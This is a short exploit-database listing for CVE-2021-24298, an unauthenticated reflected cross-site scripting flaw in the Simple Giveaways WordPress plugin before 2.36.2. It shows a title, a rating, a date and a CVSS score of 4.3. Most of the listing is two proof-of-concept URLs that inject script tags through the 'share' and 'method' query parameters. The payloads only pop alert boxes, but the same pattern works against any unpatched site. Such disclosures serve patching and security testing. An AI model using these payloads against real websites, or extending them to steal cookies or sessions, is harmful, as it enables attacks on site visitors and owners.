Exploit for Simple Giveaways < 2.36.2 - Unauthenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24298

Name: Exploit for Simple Giveaways < 2.36.2 - Unauthenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24298
Rating: 5 (59 reviews)

2021-05-09 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:30AEBDED-3EB3-4DDA-90B5-12DE5E622C91
https://example.com/giveaway/mygiveaways/?share=%3Cscript%3Ealert(document.domain)%3C/script%3E
https://example.com/giveaway/mygiveaways/?method=%3Cscript%3Ealert(/XSS/)%3C/script%3E